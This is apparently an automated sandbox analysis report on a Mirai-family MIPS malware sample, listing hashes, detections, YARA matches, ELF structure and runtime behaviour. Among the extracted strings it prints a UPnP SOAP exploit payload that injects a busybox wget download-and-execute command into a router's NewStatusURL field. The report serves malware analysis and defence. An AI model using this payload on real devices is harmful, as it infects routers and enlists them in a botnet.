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Linux Analysis Report
mips.elf

Overview

General Information

Sample name:	mips.elf
Analysis ID:	1675198
MD5:	35c8614595a9586851a2f00ac8f4ccfc
SHA1:	536489bd0ea4dffb64b114eaa83e56eb9b519c74
SHA256:	c44c4ff70ebb5af28e2313f273f627c7cb5011e5cdee8627febc5b521b29db60
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	72
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1675198
Start date and time:	2025-04-27 00:25:23 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	mips.elf
Detection:	MAL
Classification:	mal72.troj.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/mips.elf
PID:	5506
Exit Code:	1
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

mips.elf (PID: 5506, Parent: 5430, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/mips.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
mips.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
mips.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5506.1.00007f9424400000.00007f9424418000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5506.1.00007f9424400000.00007f9424418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: mips.elf PID: 5506	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: mips.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: mips.elf

ReversingLabs: Detection: 55%

Source: mips.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: mips.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample	String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal72.troj.linELF@0/0@0/0

Source: /tmp/mips.elf (PID: 5506)

Queries kernel information via 'uname':

Jump to behavior

Source: mips.elf, 5506.1.00007ffe005ae000.00007ffe005cf000.rw-.sdmp	Binary or memory string: zx86_64/usr/bin/qemu-mips/tmp/mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.elf
Source: mips.elf, 5506.1.0000562b780d7000.0000562b7817f000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: mips.elf, 5506.1.0000562b780d7000.0000562b7817f000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: mips.elf, 5506.1.00007ffe005ae000.00007ffe005cf000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: mips.elf, 5506.1.0000562b780d7000.0000562b7817f000.rw-.sdmp	Binary or memory string: x+V!/etc/qemu-binfmt/mips
Source: mips.elf, 5506.1.0000562b780d7000.0000562b7817f000.rw-.sdmp	Binary or memory string: x+V!/usr/bin/vmtoolsd

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: mips.elf, type: SAMPLE
Source: Yara match	File source: 5506.1.00007f9424400000.00007f9424418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mips.elf PID: 5506, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: mips.elf, type: SAMPLE
Source: Yara match	File source: 5506.1.00007f9424400000.00007f9424418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mips.elf PID: 5506, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mips.elf	56%	ReversingLabs	Linux.Backdoor.Gafgyt
mips.elf	100%	Avira	LINUX/GM.Mirai.ET

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	mips.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	mips.elf	false		high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.450572097328175
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	mips.elf
File size:	101'376 bytes
MD5:	35c8614595a9586851a2f00ac8f4ccfc
SHA1:	536489bd0ea4dffb64b114eaa83e56eb9b519c74
SHA256:	c44c4ff70ebb5af28e2313f273f627c7cb5011e5cdee8627febc5b521b29db60
SHA512:	058c40d99e50628d196c0a4af6137a315b2b92451b93f935310c796584e6d63c9a9dde3eacf7dbb66b2147049368c5248d480736ee69d5d68da567c179d9a752
SSDEEP:	1536:VLbElg/mLYgjEqWFbWFxsFIZREDqGPpDF2C6eiLa7y73Dk:lbESuLYYEeEGGPD2CVy7zk
TLSH:	73A3C70E6E219FADF768C73447B74E31A76833D622E1D685E26CD6001E6034E585FFA8
File Content Preview:	.ELF.....................@.`...4.........4. ...(.............@...@....{@..{@.................E...E........Z.........dt.Q............................<...'..,...!'.......................<...'......!... ....'9... ......................<...'......!........'9^

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	100856
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x15dd0	0x0	0x6	AX	16
.fini	PROGBITS	0x415ef0	0x15ef0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x415f50	0x15f50	0x1bf0	0x0	0x2	A	16
.ctors	PROGBITS	0x458000	0x18000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x458008	0x18008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x458020	0x18020	0x3b0	0x0	0x3	WA	16
.got	PROGBITS	0x4583d0	0x183d0	0x5d0	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x4589a0	0x189a0	0x28	0x0	0x10000003	WAp	4
.bss	NOBITS	0x4589d0	0x189a0	0x50e8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0xcf0	0x189a0	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x189a0	0x57	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x17b40	0x17b40	5.5161	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x18000	0x458000	0x458000	0x9a0	0x5ab8	3.9549	0x6	RW	0x10000	.ctors .dtors .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

⊘No network behavior found

System Behavior

Analysis Process: mips.elf PID: 5506, Parent PID: 5430

General

Start time (UTC):	22:26:11
Start date (UTC):	26/04/2025
Path:	/tmp/mips.elf
Arguments:	/tmp/mips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report mips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

System Behavior

Analysis Process: mips.elf PID: 5506, Parent PID: 5430

General

File Activities

File Opened

File Read

Directory Enumerated

Process Activities

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Linux Analysis Report
mips.elf